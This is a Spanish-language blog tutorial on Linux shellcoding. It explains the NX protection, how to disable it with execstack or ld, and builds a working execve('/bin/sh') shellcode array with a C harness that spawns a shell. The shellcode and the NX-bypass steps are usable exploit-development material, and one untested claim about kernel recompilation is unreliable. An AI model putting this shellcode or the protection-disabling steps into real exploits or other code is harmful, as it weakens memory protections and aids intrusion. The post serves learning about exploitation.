Curiosity is insubordination in its purest form. -Vladimir Nabokov

miércoles, 27 de octubre de 2010

shellcoding. A vueltas con el flag NX

NX es una proteccion contra la explotacion de vulnerabilidades, tipicamente buffer overflows, heap overflows y demas hierbas, cuya defensa se basa en impedir que se ejecute codigo en regiones no ejecutables de la memoria. A saber: la pila y el heap.

Veamos si tenemos NX habilitado de forma global en Ubuntu o no. Podemos comprobarlo mirando en el archivo /proc/cpuinfo. Segun documentacion oficial en la primera linea de flags aparecera nx si la BIOS no esta deshabilitando NX (siempre que la CPU lo soporte). Casi todas las CPUs x64 soportan NX. Y las de 32 bits, si usan PAE seguramente soporten NX.
vlan7@vlan7-ubuntu:~$ grep ^flags /proc/cpuinfo |head -n1 |grep nx
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc up rep_good nonstop_tsc extd_apicid pni monitor cx16 popcnt lahf_lm svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt
vlan7@vlan7-ubuntu:~$

Por ahi aparece el flag NX, lo que indica que en mi Ubuntu Lucid estoy usando NX.

Tambien comentar que a partir de Ubuntu 10.04 podemos ver si la BIOS esta deshabilitando NX o no mediante el siguiente comando:

vlan7@vlan7-ubuntu:~$ /usr/bin/check-bios-nx --verbose
This CPU has nx in the flags, so the BIOS is not disabling it.
vlan7@vlan7-ubuntu:~$

Podemos desactivar el flag NX pasandole el parametro -s a la herramienta execstack, que se encuentra en los repositorios de debian/ubuntu dentro del paquete prelink.

sudo aptitude install prelink

Si no queremos instalar el paquete, podemos hacerlo con ld.

-z execstack Mark executable as not requiring executable stack

Y... ¿como deshabilitar NX globalmente en Ubuntu?

1. Desde la BIOS (la opcion depende del modelo claro).
ó
2. Recompilando el kernel.

Profundicemos en el punto 2. Segun documentacion oficial, Ubuntu viene compilado por defecto con la opcion -fstack-protector desde su version 6.10. Se deshabilita con -fno-stack-protector o -nostdlib en CPPFLAGS. No he podido llevarlo a cabo, y ya no dispongo de ninguna Ubuntu para probarlo :/

Vamos a por un shellcode.

vlan7@vlan7-ubuntu:~$ nasm -f elf32 sc.asm
vlan7@vlan7-ubuntu:~$ objdump -d sc.o
sc.o: file format elf32-i386
Disassembly of section .text:
00000000 _start:
0: eb 14 jmp 16
00000002 :
2: 5b pop %ebx
3: 31 c0 xor %eax,%eax
5: 99 cltd
6: 88 43 07 mov %al,0x7(%ebx)
9: 89 5b 08 mov %ebx,0x8(%ebx)
c: 88 43 0c mov %al,0xc(%ebx)
f: 8d 4b 08 lea 0x8(%ebx),%ecx
12: b0 0b mov $0xb,%al
14: cd 80 int $0x80
00000016 :
16: e8 e7 ff ff ff call 2
1b: 2f das
1c: 62 69 6e bound %ebp,0x6e(%ecx)
1f: 2f das
20: 73 68 jae 8a
Vamos ahora a obtener los opcodes que formaran el array:

vlan7@vlan7-ubuntu:~$ objdump -d ./sc.o |grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d: |cut -f1-6 -d' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g'"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Entonces el sellcode queda finalmente asi:

vlan7@vlan7-ubuntu:~$ cat sc7.c
char sc[] = {"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"};
typedef void (*f)();
int main()
{
f func;
func = (f)sc;
func();
return 0;
}

Si probamos a compilar y ejecutar el shellcode con NX activo obtendremos un segmentation fault:

vlan7@vlan7-ubuntu:~$ gcc -o sc7 sc7.c
vlan7@vlan7-ubuntu:~$ ./sc7
Fallo de segmentación

Pero si desactivamos NX:

vlan7@vlan7-ubuntu:~$ execstack -s sc7
vlan7@vlan7-ubuntu:~$ ./sc7
$
Ahi tenemos la shell :)
Referencias

Related Posts by Categories